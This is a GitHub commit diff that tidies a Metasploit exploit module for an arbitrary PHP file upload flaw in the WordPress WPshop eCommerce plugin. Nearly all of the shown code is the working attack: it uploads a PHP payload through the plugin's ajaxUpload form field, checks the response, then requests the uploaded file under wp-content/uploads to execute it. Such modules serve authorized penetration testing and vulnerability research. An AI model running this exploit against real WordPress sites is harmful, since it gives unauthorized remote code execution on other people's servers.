Skip to content

Commit 558103b

Browse files
committed
Do code cleanup
1 parent c9b4a27 commit 558103b

File tree

1 file changed

+16
-13
lines changed

1 file changed

+16
-13
lines changed

modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb

Lines changed: 16 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -13,15 +13,17 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Wordpress WPshop eCommerce Upload Vulnerability',
16+
'Name' => 'WordPress WPshop eCommerce Arbitrary File Upload Vulnerability',
1717
'Description' => %q{
18-
This module exploits an arbitrary PHP code upload in the WordPress WPshop eCommerce plugin,
19-
version 1.3.9.5. The vulnerability allows for arbitrary file upload and remote code execution.
18+
This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
19+
from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
20+
code execution. This module has been tested successfully on WordPress WPshop eCommerce
21+
1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.
2022
},
2123
'Author' =>
2224
[
23-
'g0blin', # Vulnerability Discovery
24-
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
25+
'g0blin', # Vulnerability Discovery, initial msf module
26+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module Pull Request
2527
],
2628
'License' => MSF_LICENSE,
2729
'References' =>
@@ -39,15 +41,15 @@ def initialize(info = {})
3941
end
4042

4143
def check
42-
check_plugin_version_from_readme('wpshop', '1.3.9.6')
44+
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
4345
end
4446

4547
def exploit
46-
php_pagename = rand_text_alpha(5 + rand(5)) + '.php'
48+
php_page_name = rand_text_alpha(5 + rand(5)) + '.php'
4749

4850
data = Rex::MIME::Message.new
4951
data.add_part('ajaxUpload', nil, nil, 'form-data; name="elementCode"')
50-
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_pagename}\"")
52+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_page_name}\"")
5153
post_data = data.to_s
5254

5355
res = send_request_cgi(
@@ -58,19 +60,20 @@ def exploit
5860
)
5961

6062
if res
61-
if res.code == 200 && res.body =~ /#{php_pagename}/
62-
print_good("#{peer} - Our payload is at: #{php_pagename}.")
63-
register_files_for_cleanup(php_pagename)
63+
if res.code == 200 && res.body =~ /#{php_page_name}/
64+
print_good("#{peer} - Payload uploaded as #{php_page_name}")
65+
register_files_for_cleanup(php_page_name)
6466
else
6567
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
6668
end
6769
else
68-
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
70+
fail_with(Failure::Unknown, "#{peer} - Server did not answer")
6971
end
7072

7173
print_status("#{peer} - Calling payload...")
7274
send_request_cgi(
73-
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_pagename)
75+
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_page_name) },
76+
5
7477
)
7578
end
7679
end

0 commit comments

Comments
 (0)